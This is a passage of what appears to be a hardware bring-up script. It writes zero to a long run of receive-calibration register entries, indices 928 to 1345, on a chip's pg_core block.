bringup jspec write pechip[0] register pg_core fctl rx_cal 928 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 929 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 930 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 931 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 932 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 933 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 934 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 935 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 936 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 937 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 938 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 939 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 940 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 941 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 942 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 943 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 944 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 945 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 946 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 947 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 948 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 949 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 950 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 951 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 952 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 953 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 954 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 955 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 956 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 957 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 958 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 959 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 960 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 961 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 962 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 963 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 964 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 965 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 966 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 967 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 968 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 969 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 970 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 971 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 972 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 973 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 974 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 975 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 976 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 977 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 978 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 979 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 980 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 981 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 982 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 983 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 984 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 985 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 986 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 987 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 988 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 989 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 990 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 991 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 992 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 993 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 994 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 995 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 996 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 997 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 998 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 999 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1000 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1001 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1002 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1003 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1004 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1005 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1006 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1007 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1008 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1009 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1010 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1011 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1012 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1013 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1014 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1015 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1016 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1017 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1018 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1019 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1020 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1021 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1022 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1023 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1024 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1025 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1026 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1027 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1028 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1029 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1030 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1031 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1032 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1033 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1034 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1035 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1036 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1037 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1038 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1039 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1040 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1041 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1042 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1043 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1044 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1045 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1046 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1047 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1048 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1049 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1050 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1051 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1052 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1053 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1054 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1055 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1056 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1057 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1058 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1059 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1060 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1061 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1062 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1063 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1064 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1065 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1066 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1067 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1068 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1069 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1070 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1071 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1072 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1073 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1074 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1075 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1076 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1077 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1078 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1079 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1080 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1081 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1082 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1083 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1084 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1085 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1086 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1087 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1088 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1089 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1090 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1091 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1092 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1093 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1094 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1095 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1096 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1097 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1098 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1099 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1100 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1101 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1102 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1103 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1104 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1105 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1106 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1107 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1108 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1109 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1110 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1111 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1112 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1113 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1114 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1115 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1116 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1117 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1118 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1119 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1120 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1121 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1122 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1123 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1124 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1125 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1126 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1127 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1128 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1129 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1130 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1131 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1132 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1133 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1134 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1135 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1136 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1137 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1138 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1139 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1140 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1141 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1142 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1143 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1144 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1145 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1146 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1147 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1148 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1149 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1150 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1151 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1152 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1153 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1154 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1155 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1156 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1157 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1158 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1159 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1160 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1161 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1162 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1163 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1164 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1165 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1166 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1167 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1168 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1169 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1170 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1171 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1172 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1173 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1174 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1175 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1176 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1177 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1178 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1179 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1180 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1181 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1182 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1183 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1184 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1185 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1186 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1187 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1188 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1189 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1190 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1191 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1192 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1193 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1194 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1195 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1196 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1197 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1198 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1199 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1200 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1201 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1202 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1203 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1204 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1205 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1206 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1207 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1208 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1209 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1210 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1211 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1212 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1213 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1214 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1215 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1216 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1217 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1218 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1219 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1220 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1221 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1222 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1223 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1224 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1225 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1226 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1227 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1228 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1229 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1230 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1231 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1232 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1233 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1234 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1235 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1236 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1237 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1238 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1239 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1240 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1241 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1242 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1243 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1244 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1245 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1246 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1247 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1248 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1249 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1250 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1251 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1252 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1253 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1254 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1255 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1256 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1257 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1258 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1259 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1260 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1261 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1262 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1263 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1264 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1265 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1266 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1267 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1268 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1269 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1270 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1271 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1272 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1273 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1274 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1275 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1276 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1277 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1278 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1279 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1280 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1281 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1282 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1283 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1284 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1285 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1286 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1287 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1288 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1289 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1290 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1291 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1292 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1293 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1294 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1295 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1296 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1297 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1298 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1299 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1300 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1301 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1302 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1303 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1304 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1305 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1306 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1307 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1308 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1309 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1310 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1311 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1312 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1313 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1314 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1315 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1316 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1317 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1318 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1319 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1320 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1321 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1322 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1323 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1324 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1325 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1326 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1327 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1328 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1329 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1330 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1331 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1332 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1333 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1334 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1335 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1336 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1337 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1338 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1339 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1340 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1341 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1342 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1343 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1344 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1345 0x000000000
